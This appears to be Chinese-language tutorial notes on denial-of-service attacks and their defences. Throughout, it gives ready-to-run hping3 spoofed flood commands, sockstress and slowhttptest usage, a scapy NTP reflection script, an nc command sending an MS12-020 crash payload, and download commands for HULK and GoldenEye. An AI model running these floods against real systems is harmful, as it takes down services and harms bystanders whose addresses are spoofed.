拒绝服务(黑客其它的攻击方式)
Dos(拒绝服务攻击)不是DOOS
利用程序漏洞或一对一资源耗尽的Denialof service 拒绝服务
DDo S(分布式拒绝服务)
一对一的攻击完全拼各自的资源,效果差
多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型
DOS分类
D网络
基于巨量的Flood耗尽目标网络带块资源
ICMP Flood、UDP Flood
D协议
攻击协议漏洞发起的拒绝服务攻击
如Syn Flood、Ping ofDeath、ARP、DNS、802.11、SSL
D应用
针对应用软件和操作系统漏洞发起的拒绝服务攻击
大量频繁访问小号系统资源严重的应用(CC)
通常表现为操作系统运行正常,网络流量不大,但服务停止响应
可以是一击致命的,也可以是耗尽目标资源的
syn-flood
攻击原理
SYN Flood利用TCP协议缺陷,它通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或初一正常的服务请求。
如何进行攻击
hping3 -q -n 2.2.2.2 -S -s 53 –keep -p 445–flood 192.168.1.100
hping3 -q -n -a 伪造源IP -S -s 伪造源端口 –keep -p 目的端口 –flood 目的IP
当目标机的CPU达到100%(居高不下),表明已经攻击成功
如何对其进行防范
cookie源认证
原理是syn报文首先由DDOS防护系统来响应syn_ack。带上特定的sequence number (记为cookie)。真实的客户端会返回一个ack 并且Acknowledgment number 为cookie+1。 而伪造的客户端,将不会作出响应。这样我们就可以知道那些IP对应的客户端是真实的,将真实客户端IP加入白名单。下次访问直接通过,而其他伪造的syn报文就被拦截。防护示意图如下:
reset认证
Reset认证利用的是TCP协议的可靠性,也是首先由DDOS防护系统来响应syn。防护设备收到syn后响应syn_ack,将Acknowledgementnumber (确认号)设为特定值(记为cookie)。当真实客户端收到这个报文时,发现确认号不正确,将发送reset报文,并且sequence number 为cookie + 1。
而伪造的源,将不会有任何回应。这样我们就可以将真实的客户端IP加入白名单。
IP地址欺骗
IP地址欺骗就是适用其他计算机的IP来骗取连接,获得信息或者得到特权
易受攻击的服务
-
以IP地址认证作为用户身份的服务
-
X window system
-
远程服务系列(如远程访问服务)
防御
防范基本的IP欺骗
入口过滤
如果一个来自外网的数据包,声称来源于本网络内部,看可以非常肯定它是假冒的数据包,应该丢弃
出口过滤
路由器必须检查向外的数据包,确定源地址来自本单位局域网的一个地址,如果不是,则说明有人正使用假冒地址向另一个网络发起攻击,这个数据包应该丢弃
防范源路由欺骗
保护自己或者单位免受源路由欺骗攻击的最好方法是通过 IP source-route 命令设置路由器禁止使用源路由。事实上人们很少使用源路由做合法的事情,因而阻塞这种类型的流量进入或者离开网络通常不会影响正常额业务。
防范信任关系欺骗
保护自己免受信任关系欺骗攻击最容易的方法就是不使用信任关系,但这并不是最佳的解决方案。不过可以通过做一些事情使信任关系的暴露达到最小。首先,限制拥有信任关系的人员。相比控制建立信任关系的机器数量,决定谁真正需要信任关系更加有意义。
smurf攻击
smurf攻击是分布式拒绝服务(DDos)攻击的一种形式,该攻击会导致计算机网络停止服务。
原理
攻击者向网络广播地址发送ICMP包,并将回复地址设置成受害网络的广播地址,通过使用ICMP应答请求数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对次ICMP应答请求作出答复,导致网络阻塞。
防范措施
-
配置路由器禁止IP广播包进网
-
配置网络上所有计算机的操作系统,禁止对目标地址位广播地址的ICMP包响应
-
被攻击目标于ISP协商,有ISP暂时阻止这些流量
-
对于从本网络向外部网络发送的数据包,本网络应该将其源地址为其他网络的这部分数据包过滤掉
使用限制:
由于路由器等三层设备本身就不会转发目的地址是广播地址的报文,因此Smurf攻击在网络上很难形成攻击。在防火墙上体检Smurf攻击必须要求被攻击网络是之间连接到防火墙上。
sockstress攻击(属于DOS攻击)
针对TCP服务的拒绝服务攻击
-
消耗被攻击目标系统资源
-
与攻击目标建立大量socket链接
-
完成三次握手,最后的ACK包windows大小为0(客户端不接收数据)
-
攻击者资源消耗小(CPU、内存、带宽)
-
异步攻击,当机可解决服务高配资源服务器
-
windows窗口实现的TCP流控
SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。
攻击前的准备
SOCKSTRESS攻击脚本
Kali linux
metasploit靶机 IP=192.168.1.104
攻击脚本,可以在该(https://github.com/defuse/sockstress)网址中下载
也可以直接在kali中下载输入以下命令即可
git clonehttps://github.com/defuse/sockstress && cd sockstress/ && make
设置防火墙规则,过滤发送给server的REST包(不过滤的话server就会断开连接)
iptables -A OUTPUT -p TCP –tcp-flags rstrst -d 1.1.1.1 -j DROP
运行SOCKSTRESS攻击脚本,攻击靶机的80端口
./sockstress 1.1.1.1:80 eth0 -ppayloads/http -d 100
防御措施
由于建立完整的TCP三步握手,因此使用syncookie繁育无效
根本的防御方法是采用白名单
折中对策:限制单位时间内每IP建的TCP连接数
-
封杀每30秒与80端口建立连接超过10个的IP地址
-
iptables -IINPUT -p tcp –dport 80 -m state –state NEW -m recent –set
-
iptables -IINPUT -p tcp –dport 80 -m state –state NEW -m recent –update –seconds 30–hitcount 10 -j DROP
以上规则对DDoS攻击无效
TearDrop攻击
Teardrop攻击–伪造虚假的IP数据包发送并抓取及完成简易静态网页_云开处的博客-CSDN博客
原理
使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
Teardrop攻击是一种畸形报文攻击。是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
攻击效果
被攻击者蓝屏、重启、卡死
DNS放大攻击
就是黑客通过控制肉机伪造被攻击者的IP,然后大量发送查询请求的DNS服务,然后利用应答数据包一般比请求数据包大数倍的特点,从而导致被攻击者的源服务器因为泛滥的流量而变得不堪重负,最终导致拒绝服务。
防御措施
-
正确配置防火墙和网络容量
-
增大链路带宽
-
限制DNS解析器仅响应来自可信源的查询或者关闭DNS服务器的递归查询
-
使用DDOS防御产品,将入口异常访问请求进行过滤清洗,然后将正常的访问请求分发给服务器进行业务处理
SNMP(简单网络管理协议)放大攻击
攻击原理
请求流量小,查询结果返回流量大
结合伪造源地址实现攻击
防御措施
-
关注所用产品的改进信息,即使增打补丁,升级版本
-
在不必要的情况下,关闭SNMP服务
-
对进入网络的SNMP流量进行过滤
-
对内部的未授权主机的SNMP访问控制
NTP(网络时间协议)放大攻击、反射攻击
原理
-
攻击者使用僵尸网络,将带有欺骗IP地址的UDP数据包发送到启用了monlist命令的NTP服务器。每个数据包上的欺骗IP地址指向受害者的真实IP地址。
-
每个UDP数据包使用其monlist命令向NTP服务器发出请求,从而产生大量响应。
-
服务器使用结果数据,响应欺骗地址。
-
目标的IP地址接收响应,周围的网络基础设施因流量泛滥而变得不堪重负,导致拒绝服务
NTP的攻击脚本
#!/usr/bin/envpython
# author: pangzi.me @gmail .com
import sys
fromscapy.all import *
def attack(target,ntp_server):
send(IP(dst=ntp_server,src=target)/(UDP(sport= 52816 )/NTP(version= 2 ,mode= 7 ,stratum= 0 , poll= 3 ,precision= 42 )))
if __name__ == "__main__" :
if len(sys.argv)!= 3 :
sys.exit( 1 )
target = sys.argv[ 1 ]
ntp_server_file = sys.argv[ 2 ]
for ntp_server in open(ntp_server_file, "r" ):
ntp_server = ntp_server.strip()
if ntp_server!= "" :
attack(target, ntp_server)
发现NTP服务
nmap -sU -p123 1.1.1.1
发现漏洞
ntpdc -n -c monlist 1.1.1.1
ntpq -c rv 1.1.1.1
ntpdc -c sysinfo 192.168.20.5
以下是开启monlist查询功能
先进入配置文件,注释掉以下内容,即可开启monlist查询功能
vim /etc/ntp.conf
#restrict -4 default kod nomodify notrap nopeer noquery
#restrict -6 default kod nomodify notrap nopeer noquery
NTP防御(分为两种情况)
加固NTP服务
-
把NTP服务器升级到4.2.7p26
-
关闭现在NTP服务的monlist功能,在ntp.conf配置文件中增加’disable monitor’选项
-
在网络出口封禁UDP 123端口
防御NTP反射和放大攻击
-
由于这种攻击的特征比较明显,所以可以通过网路层或者借助运营商实施ACL来防御
-
使用防DDoS设备进行清洗
应用层DOS
应用服务漏洞
服务代码存在漏洞,遇异常提交数据时程序崩溃
应用处理大量并发请求能力有限,被拒绝的是应用或OS
缓冲区溢出漏洞
向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
影响:远程代码执行、DOS
利用模糊测试方法发现缓冲区溢出漏洞
Ms12-020远程桌面协议DOS漏洞
先下载文件
http://aluigi.org/poc/termdd_1.dat
查找目标主机是否开启远程桌面协议
nmap -n -sS 192.168.1.102
再执行以下命令即可
nc 192.168.1.127 3389 < termdd_1.dat
Slowhttptest攻击(源自goggle)
低带宽应用层慢速DoS攻击(相对于CC等快熟攻击而言的慢速)
最早由python编写,跨平台支持(linux、win、cygwin、OSX)
尤其擅长攻击apache(web服务器软件)、tomcat(web服务器)
原理
设计的基本原理是服务器再请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务器为其保留连接资源池占用,大量此类请求并发将导致DoS
安装
apt-get update && apt-get installslowhttptest
攻击方法
slowloris、slow HTTPPOST攻击
-
耗尽应用的并发连接池,类似于Http层的Syn flood
-
HTTP协议默认再服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将倒是DoS
-
Slowloris:完整的http请求结尾是rnrn,攻击发rn..
-
Slow POST:HTTP头content-length声明长度,但body部分缓慢发送
Slow Read attack攻击
-
与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
-
不同之处在于请求正常发送,但慢速读取响应数据
-
攻击者调整TCP windos窗口大小,是服务器慢速返回数据
Apache Range HEADER attack
-
客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
-
耗尽服务器CPU、内存资源
HTTP Post攻击模式
slowhttptest -c 1000 -B -g -o body_stats -I110 -r 200 -s 8192 -t FAKEVERB -u http://1.1.1.1-x 10 -p 3
slowloris攻击模式
slowhttptest -c 1000 -H -g -o header_stats-i 10 -r 200 -t GET -u http://1.1.1.1 -x 24 -p 3
支持代理
大量应用服务器和安全设备都无法防护慢速攻击
炸邮箱
使用垃圾邮件塞满邮件
无意思的/非故意的拒绝服务攻击
数据库服务器宕机恢复后,引用队列大量请求洪水涌来
告警邮件再邮件服务器修改地址后洪水攻击防火墙
拒绝服务攻击工具
RUDY
-
慢速应用层HTTP POST攻击,与slowhttptest原理相同
-
每次只传输一个字节的数据
-
https://sourceforge.net/projects/r-u-dead-yet/
Hping3
几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试
Syn Flood攻击
它利用了TCP协议的三次握手机制,攻击者通常利用工具或者控制僵尸主机向服务器发送海量的变源IP地址或变源端口的TCP SYN报文,服务器响应了这些报文后就会生成大量的半连接,当系统资源被耗尽后,服务器将无法提供正常的服务。
hping3 -c 1000 -d 120 -S -w 64 -p 80–flood –rand-source 1.1.1.1
hping3 -S -P -U -p 80 –flood –rand-source1.1.1.1
hping3 -SARFUP -p 80 –flood –rand-source1.1.1.1 TCP Flood
ICMP Flood攻击
该攻击在短时间内向目的主机发送大量ping包,消耗主机资源,主机资源耗尽后就会瘫痪或者无法提供其他服务。
hping3 -q -n -a 1.1.1.1 –icmp -d 56–flood 1.1.1.2
UDP Flood 攻击
UDP洪泛是一种拒绝服务攻击,其中大量的用户数据报协议(UDP)数据包被发送到目标服务器,目的是压倒该设备的处理和响应能力。
hping3 -a 1.1.1.1 –udp -s 53 -d 100 -p 53–flood 1.1.1.2
LAND攻击(局域网拒绝服务攻击)
原理
攻击者利用 TCP 连接三次握手机制中的缺陷,向目标主机发送一个源地址和目的地址均为目标主机、源端口和目的端口相同的 SYN 报文,目标主机接收到该报文后,将创建一个源地址和目的地址均为自己的 TCP 空连接,直至连接超时。在这种攻击方式下,目标主机将会创建大量无用的 TCP 空连接,耗费大量资源,直至设备瘫痪。
-
特殊种类的SYN Flood攻击
-
源地址、目的地址都是受害者,受害者于自己完成三次握手
攻击
hping3 -n -a 1.1.1.1 -S -d 100 -p 80 –flood1.1.1.1
防范
开启防火墙,来保护系统
部分操作系统铜鼓发布安全补丁修复这一漏洞
路由器应同时配置上行与下行筛选器,屏蔽所有源地址与目标地址相同的数据包
TCP全链接DoS攻击(syn洪泛攻击)
原理
攻击方只需要发送大量的syn分节给服务器,然后对服务器返回的syn+ack什么也不做,直接忽略掉。
不发送ack给服务器,这样就可以一直占着服务器半连接对列的资源,导致正常的客户端无法连接上服务器。
攻击
nping –tcp-connect –rate=10000 -c1000000000 -q 1.1.1.1
防御措施
建立cookies机制
cookies机制就是只为已经成功建立了TCP连接的主机,继续分配连接资源
查公网IP
nping –echo-client "public"echo.nmap.org –udp
Siege工具
(1条消息) Siege工具的使用_风华正茂少的博客-CSDN博客_siege 不同的请求数据
http/https压力测试工具,模拟多个用户并发访问请求
siege -g http://1.1.1.1/a.php /1.1.1.1
siege -i -c 1000
同时攻击多个url,使用-f调用字典文件
/etc/soege/urls.txt
T50网络压力测试
(1条消息) DDoS压力测试工具t50_weixin_30556161的博客-CSDN博客
t50 1.1.1.1 –flood –turbo -S –protocolTCP –dport 80
t50 1.1.1.1 –flood –turbo -S TCP UDP OSPFEIGRP –dport 22
nmap
grep dos/usr/share/nmap/scripts/script.db | cut -d """ -f 2
其他黑客发的DoS工具
LOIC
HOIC
DDoSer
这些工具不隐藏真是IP地址
XOIC
-
攻击任意IP地址的指定端口
-
三种模式:test、normal、DoSAttack
-
支持协议:TCP/HTTP/UDP/ICMP
HULK – Http Unbearable Load King
-
python脚本
-
随机产生大量唯一的地址请求,避免缓冲命中
-
耗尽WEB服务器资源池
-
https://packetstormsecurity.com/files/download/112856/hulk.zip
攻击
将文件下载好后,使用以下命令
python hulk.py http://192.168.1.119
DDOSIM
-
7层拒绝服务工具(模拟多个僵尸机)
-
随机IP地址
-
基于TCP连接的攻击
-
应用层DDOS攻击
-
正常的HTTP请求、非正常的HTTP请求式DDOS
-
SMTP DDOS
-
随机端口的TCP连接洪水
GoldenEye
-
http/https拒绝服务攻击工具
-
安全研究为目的python脚本
-
随机攻击向量,keep-alive,避免缓存命中
-
wget https://github.com/jseidl/GoldenEye/archive/master.zip
-
unzip master.zip
-
./goldeneye.py http://1.1.1.1 -w 50